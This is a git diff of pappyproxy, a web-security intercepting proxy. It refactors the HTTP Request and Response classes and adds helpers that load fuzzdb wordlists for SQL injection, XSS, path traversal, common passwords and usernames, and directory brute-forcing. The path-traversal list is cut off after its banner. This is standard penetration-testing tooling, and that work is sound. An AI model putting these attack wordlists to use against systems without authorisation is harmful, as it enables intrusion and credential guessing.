Internal update functions - def update_from_data(self): + def _set_dict_callbacks(self): + # Add callbacks to dicts + self.headers.set_modify_callback(self._update_from_text) + self.cookies.set_modify_callback(self._update_from_objects) + self.post_params.set_modify_callback(self._update_from_objects) + + def _update_from_data(self): # Updates metadata that's based off of data self.headers.update('Content-Length', str(len(self.raw_data)), do_callback=False) if 'content-type' in self.headers: if self.headers['content-type'] == 'application/x-www-form-urlencoded': self.post_params = repeatable_parse_qs(self.raw_data) - self.set_dict_callbacks() + self._set_dict_callbacks() - def update_from_objects(self): + def _update_from_objects(self): # Updates text values that depend on objects. # DOES NOT MAINTAIN HEADER DUPLICATION, ORDER, OR CAPITALIZATION if self.cookies: @@ -549,69 +825,90 @@ class Request(object): self.headers.update('Cookie', header_val, do_callback=False) if self.post_params: pairs = [] - for k, v in self.post_params: + for k, v in self.post_params.all_pairs(): pairs.append('%s=%s' % (k, v)) self.raw_data = '&'.join(pairs) - def update_from_text(self): + def _update_from_text(self): # Updates metadata that depends on header/status line values self.cookies = RepeatableDict() - self.set_dict_callbacks() + self._set_dict_callbacks() for k, v in self.headers.all_pairs(): - self.handle_header(k, v) + self._handle_header(k, v) + + ############### + ## Data loading + + def add_line(self, line): + """ + Used for building a request from a Twisted protocol. + Add a line (for status line and headers). Lines must be added in order + and the first line must be the status line. The line should not contain + the trailing carriage return/newline. I do not suggest you use this for + anything. + + :param line: The line to add + :type line: string + """ + + if self._first_line and line == '': + # Ignore leading newlines because fuck the spec + return + + if self._first_line: + self._handle_statusline(line) + self._first_line = False + else: + # Either header or newline (end of headers) + if line == '': + self.headers_complete = True + if self._data_length == 0: + self.complete = True + else: + key, val = line.split(':', 1) + val = val.strip() + if self._handle_header(key, val): + self.headers.append(key, val, do_callback=False) def add_data(self, data): + """ + Used for building a request from a Twisted protocol. + Add data to the request. + I do not suggest that you use this function ever. + + :param data: The data to add + :type data: string + """ # Add data (headers must be complete) len_remaining = self._data_length - len(self._partial_data) if len(data) >= len_remaining: self._partial_data += data[:len_remaining] self._raw_data = self._partial_data self.complete = True - self.handle_data_end() + self._handle_data_end() else: self._partial_data += data + ############### + ## Data parsing + def _process_host(self, hostline): # Get address and port # Returns true if port was explicitly stated port_given = False if ':' in hostline: - self.host, self.port = hostline.split(':') + self._host, self.port = hostline.split(':') self.port = int(self.port) if self.port == 443: - self.is_ssl = True + self._is_ssl = True port_given = True else: - self.host = hostline + self._host = hostline if not self.port: self.port = 80 - self.host.strip() + self._host.strip() return port_given - def add_line(self, line): - # Add a line (for status line and headers) - # Modifies first line if it is in full url form - - if self._first_line and line == '': - # Ignore leading newlines because fuck the spec - return - - if self._first_line: - self.handle_statusline(line) - self._first_line = False - else: - # Either header or newline (end of headers) - if line == '': - self.headers_complete = True - if self._data_length == 0: - self.complete = True - else: - key, val = line.split(':', 1) - val = val.strip() - if self.handle_header(key, val): - self.headers.append(key, val, do_callback=False) - self.header_len += len(line)+2 - def _handle_statusline_uri(self, uri): if not re.match('(?:^.+)://', uri): uri = '//' + uri @@ -623,11 +920,11 @@ class Request(object): port_given = self._process_host(netloc) if re.match('^https://', uri) or self.port == 443: - self.is_ssl = True + self._is_ssl = True if not port_given: self.port = 443 if re.match('^http://', uri): - self.is_ssl = False + self._is_ssl = False if not self.port: if self.is_ssl: @@ -636,17 +933,20 @@ class Request(object): self.port = 80 reqpath = parsed_path.path - self.path = parsed_path.path + if parsed_path.path: + self.path = parsed_path.path + else: + self.path = '/' if parsed_path.query: reqpath += '?' reqpath += parsed_path.query - self.get_params = repeatable_parse_qs(parsed_path.query) + self.url_params = repeatable_parse_qs(parsed_path.query) if parsed_path.fragment: reqpath += '#' reqpath += parsed_path.fragment self.fragment = parsed_path.fragment - def handle_statusline(self, status_line): + def _handle_statusline(self, status_line): parts = status_line.split() uri = None if len(parts) == 3: @@ -660,7 +960,7 @@ class Request(object): if uri is not None: self._handle_statusline_uri(uri) - def handle_header(self, key, val): + def _handle_header(self, key, val): # We may have duplicate headers stripped = False @@ -692,33 +992,172 @@ class Request(object): return (not stripped) - def handle_data_end(self): + def _handle_data_end(self): if 'content-type' in self.headers: if self.headers['content-type'] == 'application/x-www-form-urlencoded': self.post_params = repeatable_parse_qs(self.raw_data) - self.set_dict_callbacks() + self._set_dict_callbacks() + + ############## + ## Serializing + + def to_json(self): + """ + Return a JSON encoding of the request that can be used by + :func:`~pappyproxy.http.Request.from_json` to recreate the request. + The `full_request` portion is base64 encoded because json doesn't play + nice with binary blobs. + """ + # We base64 encode the full response because json doesn't paly nice with + # binary blobs + data = { + 'full_request': base64.b64encode(self.full_request), + 'reqid': self.reqid, + } + if self.response: + data['response_id'] = self.response.rspid + else: + data['response_id'] = None + + if self.unmangled: + data['unmangled_id'] = self.unmangled.reqid + + if self.time_start: + data['start'] = self.time_start.isoformat() + if self.time_end: + data['end'] = self.time_end.isoformat() + data['tags'] = self.tags + data['port'] = self.port + data['is_ssl'] = self.is_ssl + + return json.dumps(data) + + def from_json(self, json_string): + """ + Update the metadata of the request to match data from + :func:`~pappyproxy.http.Request.to_json` + + :param json_string: The JSON data to use + :type json_string: JSON data in a string + """ + + data = json.loads(json_string) + self._from_full_request(base64.b64decode(data['full_request'])) + self.port = data['port'] + self._is_ssl = data['is_ssl'] + if 'tags' in data: + self.tags = data['tags'] + else: + self.tags = [] + self._update_from_text() + self._update_from_data() + if data['reqid']: + self.reqid = data['reqid'] + ####################### + ## Data store functions + @defer.inlineCallbacks - def save(self): + def async_save(self): + """ + async_save() + Save/update the request in the data file. Returns a twisted deferred which + fires when the save is complete. + + :rtype: twisted.internet.defer.Deferred + """ + assert(dbpool) - if self.reqid: + try: + # Check for intyness + _ = int(self.reqid) + # If we have reqid, we're updating yield dbpool.runInteraction(self._update) assert(self.reqid is not None) - else: + yield dbpool.runInteraction(self._update_tags) + pappyproxy.context.add_request(self) + except (ValueError, TypeError): + # Either no id or in-memory yield dbpool.runInteraction(self._insert) assert(self.reqid is not None) + yield dbpool.runInteraction(self._update_tags) + pappyproxy.context.add_request(self) + @crochet.wait_for(timeout=180.0) @defer.inlineCallbacks - def deep_save(self): - "Saves self, unmangled, response, and unmangled response" + def save(self): + """ + save() + Save/update the request in the data file. + Saves the request, its unmangled version, the response, and the unmanbled response. + Cannot be called from inside an async function. + """ + + yield self.async_deep_save() + + @defer.inlineCallbacks + def async_deep_save(self): + """ + async_deep_save() + Saves self, unmangled, response, and unmangled response. Returns a deferred + which fires after everything has been saved. + + :rtype: twisted.internet.defer.Deferred + """ + if self.response: if self.response.unmangled: - yield self.response.unmangled.save() - yield self.response.save() + yield self.response.unmangled.async_save() + yield self.response.async_save() if self.unmangled: - yield self.unmangled.save() - yield self.save() + yield self.unmangled.async_save() + yield self.async_save() + + def _update_tags(self, txn): + # This should never be called on an unsaved or in-memory request + txn.execute( + """ + DELETE FROM tagged WHERE reqid=?; + """, + (self.reqid,) + ) + + tagids = [] + tags_to_add = [] + # Find ids that already exist + for tag in self.tags: + txn.execute( + """ + SELECT id, tag FROM tags WHERE tag=?; + """, + (tag,) + ) + result = txn.fetchall() + if len(result) == 0: + tags_to_add.append(tag) + else: + tagid = int(result[0][0]) + tagids.append(tagid) + + # Add new tags + for tag in tags_to_add: + txn.execute( + """ + INSERT INTO tags (tag) VALUES (?); + """, + (tag,) + ) + tagids.append(int(txn.lastrowid)) + + # Tag our request + for tagid in tagids: + txn.execute( + """ + INSERT INTO tagged (reqid, tagid) VALUES (?, ?); + """, + (int(self.reqid), tagid) + ) def _update(self, txn): # If we don't have an reqid, we're creating a new reuqest row @@ -795,106 +1234,200 @@ class Request(object): """ % (','.join(colnames), ','.join(['?']*len(colvals))), tuple(colvals) ) - self.reqid = txn.lastrowid + self.reqid = str(txn.lastrowid) assert txn.lastrowid is not None assert self.reqid is not None - - def to_json(self): - # We base64 encode the full response because json doesn't paly nice with - # binary blobs - data = { - 'full_request': base64.b64encode(self.full_request), - 'reqid': self.reqid, - } - if self.response: - data['response_id'] = self.response.rspid - else: - data['response_id'] = None - - if self.unmangled: - data['unmangled_id'] = self.unmangled.reqid - - if self.time_start: - data['start'] = self.time_start.isoformat() - if self.time_end: - data['end'] = self.time_end.isoformat() - data['port'] = self.port - data['is_ssl'] = self.is_ssl - - return json.dumps(data) - - def from_json(self, json_string): - data = json.loads(json_string) - self.from_full_request(base64.b64decode(data['full_request'])) - self.port = data['port'] - self.is_ssl = data['is_ssl'] - self.update_from_text() - self.update_from_data() - if data['reqid']: - self.reqid = int(data['reqid']) + @defer.inlineCallbacks def delete(self): assert(self.reqid is not None) - row = yield dbpool.runQuery( + yield dbpool.runQuery( """ DELETE FROM requests WHERE id=?; """, (self.reqid,) ) + yield dbpool.runQuery( + """ + DELETE FROM tagged WHERE reqid=?; + """, + (self.reqid,) + ) + self.reqid = None - def duplicate(self): - return Request(self.full_request) + @defer.inlineCallbacks + def deep_delete(self): + if self.unmangled: + yield self.unmangled.delete() + if self.response: + if self.response.unmangled: + yield self.response.unmangled.delete() + yield self.response.delete() + yield self.delete() @staticmethod - @defer.inlineCallbacks - def submit(host, port, is_ssl, full_request): - new_obj = Request(full_request) - factory = pappyproxy.proxy.ProxyClientFactory(new_obj) - factory.connection_id = pappyproxy.proxy.get_next_connection_id() - if is_ssl: - reactor.connectSSL(host, port, factory, pappyproxy.proxy.ClientTLSContext()) + def _gen_sql_row(tablename=None): + template = "{pre}full_request, {pre}response_id, {pre}id, {pre}unmangled_id, {pre}start_datetime, {pre}end_datetime, {pre}port, {pre}is_ssl" + if tablename: + return template.format(pre=('%s.'%tablename)) else: - reactor.connectTCP(host, port, factory) - new_req = yield factory.data_defer - defer.returnValue(new_req) + return template.format(pre='') + + + @staticmethod + @defer.inlineCallbacks + def _from_sql_row(row): + req = Request(row[0]) + if row[1]: + rsp = yield Response.load_response(str(row[1])) + req.response = rsp + if row[3]: + unmangled_req = yield Request.load_request(str(row[3])) + req.unmangled = unmangled_req + if row[4]: + req.time_start = datetime.datetime.strptime(row[4], "%Y-%m-%dT%H:%M:%S.%f") + if row[5]: + req.time_end = datetime.datetime.strptime(row[5], "%Y-%m-%dT%H:%M:%S.%f") + if row[6] is not None: + req.port = int(row[6]) + if row[7] == 1: + req._is_ssl = True + req.reqid = str(row[2]) + + # tags + rows = yield dbpool.runQuery( + """ + SELECT tg.tag + FROM tagged tgd, tags tg + WHERE tgd.tagid=tg.id AND tgd.reqid=?; + """, + (req.reqid,) + ) + req.tags = [] + for row in rows: + req.tags.append(row[0]) + defer.returnValue(req) - def submit_self(self): - new_req = Request.submit(self.host, self.port, self.is_ssl, - self.full_request) - return new_req + @staticmethod + @defer.inlineCallbacks + def load_all_requests(): + """ + load_all_requests() + Load all the requests in the data file and return them in a list. + Returns a deferred which calls back with the list of requests when complete. + + :rtype: twisted.internet.defer.Deferred + """ + + reqs = [] + reqs += list(pappyproxy.context.in_memory_requests) + rows = yield dbpool.runQuery( + """ + SELECT %s + FROM requests; + """ % Request._gen_sql_row(), + ) + for row in rows: + req = yield Request._from_sql_row(row) + reqs.append(req) + defer.returnValue(reqs) @staticmethod @defer.inlineCallbacks - def load_request(reqid): + def load_requests_by_tag(tag): + """ + load_requests_by_tag(tag) + Load all the requests in the data file with a given tag and return them in a list. + Returns a deferred which calls back with the list of requests when complete. + + :rtype: twisted.internet.defer.Deferred + """ + # tags + rows = yield dbpool.runQuery( + """ + SELECT tgd.reqid + FROM tagged tgd, tags tg + WHERE tgd.tagid=tg.id AND tg.tag=?; + """, + (tag,) + ) + reqs = [] + for row in rows: + req = Request.load_request(row[0]) + reqs.append(req) + defer.returnValue(reqs) + + @staticmethod + @defer.inlineCallbacks + def load_request(to_load, allow_special=True): + """ + load_request(to_load) + Load a request with the given request id and return it. + Returns a deferred which calls back with the request when complete. + + :rtype: twisted.internet.defer.Deferred + """ + assert(dbpool) + + if not allow_special: + try: + int(to_load) + except (ValueError, TypeError): + raise PappyException('Cannot load special id %s' % to_load) + + ret_unmangled = False + rsp_unmangled = False + if to_load[0] == 'u': + ret_unmangled = True + loadid = to_load[1:] + elif to_load[0] == 's': + rsp_unmangled = True + loadid = to_load[1:] + else: + loadid = to_load + + def retreq(r): + if ret_unmangled: + if not r.unmangled: + raise PappyException("Request %s was not mangled"%r.reqid) + return r.unmangled + if rsp_unmangled: + if not r.response: + raise PappyException("Request %s does not have a response" % r.reqid) + if not r.response.unmangled: + raise PappyException("Response to request %s was not mangled" % r.reqid) + r.response = r.response.unmangled + return r + else: + return r + + for r in pappyproxy.context.in_memory_requests: + if r.reqid == to_load: + defer.returnValue(retreq(r)) + for r in pappyproxy.context.all_reqs: + if r.reqid == to_load: + defer.returnValue(retreq(r)) + for r in pappyproxy.context.active_requests: + if r.reqid == to_load: + defer.returnValue(retreq(r)) + if to_load[0] == 'm': + # An in-memory request should have been loaded in the previous loop + raise PappyException('In-memory request %s not found' % to_load) rows = yield dbpool.runQuery( """ - SELECT full_request, response_id, id, unmangled_id, start_datetime, end_datetime, port, is_ssl + SELECT %s FROM requests WHERE id=?; - """, - (reqid,) + """ % Request._gen_sql_row(), + (loadid,) ) if len(rows) != 1: - raise PappyException("Request with id %d does not exist" % reqid) - full_request = rows[0][0] - req = Request(full_request) - if rows[0][1]: - rsp = yield Response.load_response(int(rows[0][1])) - req.response = rsp - if rows[0][3]: - unmangled_req = yield Request.load_request(int(rows[0][3])) - req.unmangled = unmangled_req - if rows[0][4]: - req.time_start = datetime.datetime.strptime(rows[0][4], "%Y-%m-%dT%H:%M:%S.%f") - if rows[0][5]: - req.time_end = datetime.datetime.strptime(rows[0][5], "%Y-%m-%dT%H:%M:%S.%f") - if rows[0][6] is not None: - req.port = int(rows[0][6]) - if rows[0][7] == 1: - req.is_ssl = True - req.reqid = int(rows[0][2]) - defer.returnValue(req) + raise PappyException("Request with id %s does not exist" % loadid) + req = yield Request._from_sql_row(rows[0]) + req.reqid = to_load + + defer.returnValue(retreq(req)) @staticmethod @defer.inlineCallbacks @@ -904,31 +1437,116 @@ class Request(object): assert(dbpool) rows = yield dbpool.runQuery( """ - SELECT r1.id FROM requests r1 + SELECT %s FROM requests r1 LEFT JOIN requests r2 ON r1.id=r2.unmangled_id WHERE r2.id is NULL; - """, + """ % Request._gen_sql_row('r1'), ) reqs = [] - for r in rows: - newreq = yield Request.load_request(int(r[0])) - reqs.append(newreq) - - reqs = pappyproxy.context.filter_reqs(reqs, filters) + for row in rows: + req = yield Request._from_sql_row(row) + reqs.append(req) + reqs += list(pappyproxy.context.in_memory_requests) + (reqs, _) = pappyproxy.context.filter_reqs(reqs, filters) defer.returnValue(reqs) - + + ###################### + ## Submitting Requests + + @staticmethod + @defer.inlineCallbacks + def submit_new(host, port, is_ssl, full_request): + """ + submit_new(host, port, is_ssl, full_request) + Submits a request with the given parameters and returns a request object + with the response. + + :param host: The host to submit to + :type host: string + :param port: The port to submit to + :type port: Integer + :type is_ssl: Whether to use SSL + :param full_request: The request data to send + :type full_request: string + :rtype: Twisted deferred that calls back with a Request + """ + + new_obj = Request(full_request) + factory = pappyproxy.proxy.ProxyClientFactory(new_obj, save_all=False) + factory.connection_id = pappyproxy.proxy.get_next_connection_id() + if is_ssl: + reactor.connectSSL(host, port, factory, pappyproxy.proxy.ClientTLSContext()) + else: + reactor.connectTCP(host, port, factory) + new_req = yield factory.data_defer + defer.returnValue(new_req) + + @defer.inlineCallbacks + def async_submit(self): + """ + async_submit() + Same as :func:`~pappyproxy.http.Request.submit` but generates deferreds. + Submits the request using its host, port, etc. and updates its response value + to the resulting response. + + :rtype: Twisted deferred + """ + new_req = yield Request.submit_new(self.host, self.port, self.is_ssl, + self.full_request) + self.response = new_req.response + self.time_start = new_req.time_start + self.time_end = new_req.time_end + + @crochet.wait_for(timeout=180.0) + @defer.inlineCallbacks + def submit(self): + """ + submit() + Submits the request using its host, port, etc. and updates its response value + to the resulting response. + Cannot be called in async functions. + This is what you should use to submit your requests in macros. + """ + new_req = yield Request.submit_new(self.host, self.port, self.is_ssl, + self.full_request) + self.response = new_req.response + self.time_start = new_req.time_start + self.time_end = new_req.time_end class Response(object): + """ + :ivar complete: When creating the response with :func:`~pappyproxy.http.Response.add_line` + and :func:`~pappyproxy.http.Response.add_data`, returns whether + the request is complete. + :vartype complete: Bool + :ivar cookies: Cookies set by the response + :vartype cookies: RepeatableDict of ResponseCookie objects + :ivar headers: The headers of the response + :vartype headers: RepeatableDict + :ivar headers_complete: When creating the response with + :func:`~pappyproxy.http.Response.add_line` and + :func:`~pappyproxy.http.Response.add_data`, returns whether the headers + are complete + :vartype headers_complete: Bool + :ivar response_code: The response code of the response + :vartype response_code: Integer + :ivar response_text: The text associated with the response code (ie OK, NOT FOUND, etc) + :vartype response_text: String + :ivar rspid: If the response is saved in the data file, the id of the response + :vartype rspid: String + :ivar unmangled: If the response was mangled, the unmangled version of the response + :vartype unmangled: Response + :ivar version: The version part of the status line (ie HTTP/1.1) + :vartype version: String + """ def __init__(self, full_response=None, update_content_length=False): self.complete = False self.cookies = RepeatableDict() - self.header_len = 0 self.headers = RepeatableDict(case_insensitive=True) self.headers_complete = False - self.host = None self._raw_data = '' self.response_code = 0 self.response_text = '' @@ -941,13 +1559,35 @@ class Response(object): self._data_obj = None self._end_after_headers = False - self.set_dict_callbacks() + self._set_dict_callbacks() if full_response is not None: - self.from_full_response(full_response, update_content_length) + self._from_full_response(full_response, update_content_length) + def __copy__(self): + if not self.complete: + raise PappyException("Cannot copy incomplete responses") + retrsp = Response(self.full_response) + if self.unmangled: + retrsp.unmangled = self.unmangled.copy() + return retrsp + + def copy(self): + return self.__copy__() + + def __eq__(self, other): + if self.full_response != other.full_response: + return False + return True + @property def raw_headers(self): + """ + The raw text of the headers including the extra newline at the end. + + :getter: Returns the raw text of the headers including the extra newline at the end. + :type: string + """ ret = self.status_line + '\r\n' for k, v in self.headers.all_pairs(): ret = ret + "%s: %s\r\n" % (k, v) @@ -956,87 +1596,138 @@ class Response(object): @property def status_line(self): + """ + The status line of the response. ie `HTTP/1.1 200 OK` + + :getter: Returns the status line of the response + :setter: Sets the status line of the response + :type: string + """ if not self.version and self.response_code == 0 and not self.version: return '' return '%s %d %s' % (self.version, self.response_code, self.response_text) @status_line.setter def status_line(self, val): - self.handle_statusline(val) + self._handle_statusline(val) @property def raw_data(self): + """ + The data portion of the response + + :getter: Returns the data portion of the response + :setter: Set the data of the response and update metadata + :type: string + """ return self._raw_data @raw_data.setter def raw_data(self, val): self._raw_data = val self._data_obj = LengthData(len(val)) - self._data_obj.add_data(val) + if len(val) > 0: + self._data_obj.add_data(val) self._encoding_type = ENCODE_NONE self.complete = True - self.update_from_data() + self._update_from_data() @property def full_response(self): + """ + The full text of the response including the headers and data. + Response is automatically converted from compressed/chunked into an + uncompressed response with a Content-Length header. + + :getter: Returns the full text of the response + :type: string + """ if not self.status_line: return '' ret = self.raw_headers ret = ret + self.raw_data return ret - def set_dict_callbacks(self): - # Add callbacks to dicts - self.headers.set_modify_callback(self.update_from_text) - self.cookies.set_modify_callback(self.update_from_objects) + @property + def soup(self): + """ + Returns a beautifulsoup4 object for parsing the html of the response - def from_full_response(self, full_response, update_content_length=False): + :getter: Returns a BeautifulSoup object representing the html of the response + """ + return bs4.BeautifulSoup(self.raw_data, 'lxml') + + def _from_full_response(self, full_response, update_content_length=False): # Get rid of leading CRLF. Not in spec, should remove eventually - full_response = strip_leading_newlines(full_response) + full_response = _strip_leading_newlines(full_response) if full_response == '': return remaining = full_response while remaining and not self.headers_complete: - line, remaining = consume_line(remaining) + line, remaining = _consume_line(remaining) self.add_line(line) if not self.headers_complete: self.add_line('') + if update_content_length: + self.raw_data = remaining if not self.complete: - if update_content_length: - self.raw_data = remaining - else: - self.add_data(remaining) + self.add_data(remaining) assert(self.complete) - def add_line(self, line): - assert(not self.headers_complete) - self.header_len += len(line)+2 - if not line and self._first_line: - return - if not line: - self.headers_complete = True + ############################ + ## Internal update functions + + def _set_dict_callbacks(self): + # Add callbacks to dicts + self.headers.set_modify_callback(self._update_from_text) + self.cookies.set_modify_callback(self._update_from_objects) - if self._end_after_headers: - self.complete = True - return + def _update_from_data(self): + self.headers.update('Content-Length', str(len(self.raw_data)), do_callback=False) - if not self._data_obj: - self._data_obj = LengthData(0) - self.complete = self._data_obj.complete - return + def _update_from_objects(self): + # Updates headers from objects + # DOES NOT MAINTAIN HEADER DUPLICATION, ORDER, OR CAPITALIZATION - if self._first_line: - self.handle_statusline(line) - self._first_line = False - else: - key, val = line.split(':', 1) - val = val.strip() - self.handle_header(key, val) + # Cookies + new_headers = RepeatableDict() + cookies_added = False + for pair in self.headers.all_pairs(): + if pair[0].lower() == 'set-cookie': + # If we haven't added our cookies, add them all. Otherwise + # strip the header (do nothing) + if not cookies_added: + # Add all our cookies here + for k, c in self.cookies.all_pairs(): + new_headers.append('Set-Cookie', c.cookie_str) + cookies_added = True + else: + new_headers.append(pair[0], pair[1]) + + if not cookies_added: + # Add all our cookies to the end + for k, c in self.cookies.all_pairs(): + new_headers.append('Set-Cookie', c.cookie_str) - def handle_statusline(self, status_line): + self.headers = new_headers + self._set_dict_callbacks() + + def _update_from_text(self): + self.cookies = RepeatableDict() + self._set_dict_callbacks() + for k, v in self.headers.all_pairs(): + if k.lower() == 'set-cookie': + # Parse the cookie + cookie = ResponseCookie(v) + self.cookies.append(cookie.key, cookie, do_callback=False) + + ############### + ## Data parsing + + def _handle_statusline(self, status_line): self._first_line = False self.version, self.response_code, self.response_text = \ status_line.split(' ', 2) @@ -1046,7 +1737,7 @@ class Response(object): self.response_code/100 == 1: self._end_after_headers = True - def handle_header(self, key, val): + def _handle_header(self, key, val): stripped = False if key.lower() == 'content-encoding': if val in ('gzip', 'x-gzip'): @@ -1068,8 +1759,6 @@ class Response(object): elif key.lower() == 'set-cookie': cookie = ResponseCookie(val) self.cookies.append(cookie.key, cookie, do_callback=False) - elif key.lower() == 'host': - self.host = val if stripped: return False @@ -1077,62 +1766,108 @@ class Response(object): self.headers.append(key, val, do_callback=False) return True - def update_from_data(self): - self.headers.update('Content-Length', str(len(self.raw_data)), do_callback=False) - - def update_from_objects(self): - # Updates headers from objects - # DOES NOT MAINTAIN HEADER DUPLICATION, ORDER, OR CAPITALIZATION + ############### + ## Data loading + + def add_line(self, line): + """ + Used for building a response from a Twisted protocol. + Add a line (for status line and headers). Lines must be added in order + and the first line must be the status line. The line should not contain + the trailing carriage return/newline. I do not suggest you use this for + anything. + + :param line: The line to add + :type line: string + """ + assert(not self.headers_complete) + if not line and self._first_line: + return + if not line: + self.headers_complete = True - # Cookies - new_headers = RepeatableDict() - cookies_added = False - for pair in self.headers.all_pairs(): - if pair[0].lower() == 'set-cookie': - # If we haven't added our cookies, add them all. Otherwise - # strip the header (do nothing) - if not cookies_added: - # Add all our cookies here - for k, c in self.cookies.all_pairs(): - new_headers.append('Set-Cookie', c.cookie_av) - cookies_added = True - else: - new_headers.append(pair[0], pair[1]) + if self._end_after_headers: + self.complete = True + return - if not cookies_added: - # Add all our cookies to the end - for k, c in self.cookies.all_pairs(): - new_headers.append('Set-Cookie', c.cookie_av) + if not self._data_obj: + self._data_obj = LengthData(0) + self.complete = self._data_obj.complete + return - self.headers = new_headers - self.set_dict_callbacks() - - def update_from_text(self): - self.cookies = RepeatableDict() - self.set_dict_callbacks() - for k, v in self.headers.all_pairs(): - if k.lower() == 'set-cookie': - # Parse the cookie - cookie = ResponseCookie(v) - self.cookies.append(cookie.key, cookie, do_callback=False) + if self._first_line: + self._handle_statusline(line) + self._first_line = False + else: + key, val = line.split(':', 1) + val = val.strip() + self._handle_header(key, val) def add_data(self, data): + """ + Used for building a response from a Twisted protocol. + Add data to the response. The data must conform to the content encoding + and transfer encoding given in the headers passed in to + :func:`~pappyproxy.http.Response.add_line`. Can be any fragment of the data. + I do not suggest that you use this function ever. + + :param data: The data to add + :type data: string + """ assert(self._data_obj) assert(not self._data_obj.complete) assert not self.complete self._data_obj.add_data(data) if self._data_obj.complete: - self._raw_data = decode_encoded(self._data_obj.raw_data, - self._encoding_type) + self._raw_data = _decode_encoded(self._data_obj.raw_data, + self._encoding_type) self.complete = True - self.update_from_data() + self._update_from_data() + #################### + ## Cookie management + def add_cookie(self, cookie): - self.cookies.append(cookie.key, cookie, do_callback=False) + """ + Add a :class:`pappyproxy.http.ResponseCookie` to the response. + + .. warning:: + This will add duplicate cookies. If you want to add a cookie you're not sure exists, + use :func:`~pappyproxy.http.Response.set_cookie` + """ + self.cookies.append(cookie.key, cookie) + + def set_cookie(self, cookie): + """ + Set a cookie in the response. ``cookie`` must be a :class:`pappyproxy.http.ResponseCookie` + """ + self.cookies[cookie.key] = cookie + + def set_cookie_kv(self, key, val): + """ + Set a cookie by key and value. Will not have path, secure, etc set at all. + """ + cookie = ResponseCookie() + cookie.key = key + cookie.val = val + self.cookies[cookie.key] = cookie + + def delete_cookie(self, key): + """ + Delete a cookie from the response by its key + """ + del self.cookies[key] + + ############## + ## Serializing def to_json(self): - # We base64 encode the full response because json doesn't paly nice with - # binary blobs + """ + Return a JSON encoding of the response that can be used by + :func:`~pappyproxy.http.Response.from_json` to recreate the response. + The ``full_response`` portion is base64 encoded because json doesn't play + nice with binary blobs. + """ data = { 'rspid': self.rspid, 'full_response': base64.b64encode(self.full_response), @@ -1142,24 +1877,52 @@ class Response(object): return json.dumps(data) + def from_json(self, json_string): + """ + Update the metadata of the response to match data from + :func:`~pappyproxy.http.Response.to_json` + + :param json_string: The JSON data to use + :type json_string: JSON data in a string + """ data = json.loads(json_string) - self.from_full_response(base64.b64decode(data['full_response'])) - self.update_from_text() - self.update_from_data() + self._from_full_response(base64.b64decode(data['full_response'])) + self._update_from_text() + self._update_from_data() if data['rspid']: - self.rspid = int(data['rspid']) + self.rspid = str(data['rspid']) + + ####################### + ## Database interaction @defer.inlineCallbacks - def save(self): + def async_save(self): + """ + async_save() + Save/update the just request in the data file. Returns a twisted deferred which + fires when the save is complete. It is suggested that you use + :func: `~pappyproxy.http.Request.async_deep_save` instead to save responses. + + :rtype: twisted.internet.defer.Deferred + """ assert(dbpool) - if self.rspid: + try: + # Check for intyness + _ = int(self.rspid) + # If we have rspid, we're updating yield dbpool.runInteraction(self._update) - else: + except (ValueError, TypeError): yield dbpool.runInteraction(self._insert) assert(self.rspid is not None) + # Right now responses without requests are unviewable + # @crochet.wait_for(timeout=180.0) + # @defer.inlineCallbacks + # def save(self): + # yield self.save() + def _update(self, txn): setnames = ["full_response=?"] queryargs = [self.full_response] @@ -1195,6 +1958,7 @@ class Response(object): self.rspid = txn.lastrowid assert(self.rspid is not None) + @defer.inlineCallbacks def delete(self): assert(self.rspid is not None) row = yield dbpool.runQuery( @@ -1203,10 +1967,16 @@ class Response(object): """, (self.rspid,) ) + self.rspid = None @staticmethod @defer.inlineCallbacks def load_response(respid): + """ + Load a response from its response id. Returns a deferred. I don't suggest you use this. + + :rtype: twisted.internet.defer.Deferred + """ assert(dbpool) rows = yield dbpool.runQuery( """ @@ -1217,13 +1987,12 @@ class Response(object): (respid,) ) if len(rows) != 1: - raise PappyException("Response with request id %d does not exist" % respid) + raise PappyException("Response with request id %s does not exist" % respid) full_response = rows[0][0] resp = Response(full_response) - resp.rspid = int(rows[0][1]) + resp.rspid = str(rows[0][1]) if rows[0][2]: unmangled_response = yield Response.load_response(int(rows[0][2])) resp.unmangled = unmangled_response defer.returnValue(resp) - diff --git a/pappyproxy/iter.py b/pappyproxy/iter.py new file mode 100644 index 0000000..343abd8 --- /dev/null +++ b/pappyproxy/iter.py @@ -0,0 +1,60 @@ +import os +import itertools +from .config import PAPPY_DIR + +def from_file(fname, intro=False): + # Ignores lines until the first blank line, then returns every non-blank + # line afterwards + full_fname = os.path.join(PAPPY_DIR, 'lists', fname) + with open(full_fname, 'r') as f: + d = f.read() + lines = d.splitlines() + + # Delete until the first blank line + if intro: + while lines and lines[0] != '': + lines = lines[1:] + + # Generate non-blank lines + for l in lines: + if l: + yield l + +def fuzz_path_trav(): + """ + Fuzz common values for path traversal. + """ + for l in from_file('path_traversal.txt', True): + yield l + +def fuzz_sqli(): + """ + Fuzz common values that could cause sql errors + """ + for l in from_file('fuzzdb/attack/sql-injection/detect/xplatform.fuzz.txt'): + yield l + +def fuzz_xss(): + """ + Fuzz values for finding XSS + """ + for l in from_file('fuzzdb/attack/xss/xss-rsnake.fuzz.txt'): + yield l + +def common_passwords(): + """ + List common passwords + """ + for l in from_file('fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'): + yield l + +def common_usernames(): + """ + List common usernames + """ + for l in from_file('fuzzdb/wordlists-user-passwd/names/namelist.txt'): + yield l + +def fuzz_dirs(): + for l in from_file('fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-small-directories.txt'): + yield l diff --git a/pappyproxy/lists/fuzzdb b/pappyproxy/lists/fuzzdb new file mode 160000 index 0000000..3a35bfd --- /dev/null +++ b/pappyproxy/lists/fuzzdb @@ -0,0 +1 @@ +Subproject commit 3a35bfdcf5cbfc3598d5c21f7de78a3277b1b259 diff --git a/pappyproxy/lists/path_traversal.txt b/pappyproxy/lists/path_traversal.txt new file mode 100644 index 0000000..961559b --- /dev/null +++ b/pappyproxy/lists/path_traversal.txt @@ -0,0 +1,806 @@ +Via: http://www.vulnerability-lab.com/resources/documents/587.txt +________ .__ __ ___________ .__ +\______ \ |__|______ ____ _____/ |_ ___________ ___.__. \__ ___/___________ ___ __ ___________ ___________ | | + | | \| \_ __ \_/ __ \_/ ___\ __\/ _ \_ __ < | | | | \_ __ \__ \\ \/ // __ \_ __ \/ ___/\__ \ | | + | ` \ || | \/\ ___/\ \___| | ( <_> ) | \/\___ | | | | | \// __ \\ /\ ___/| | \/\___ \ / __ 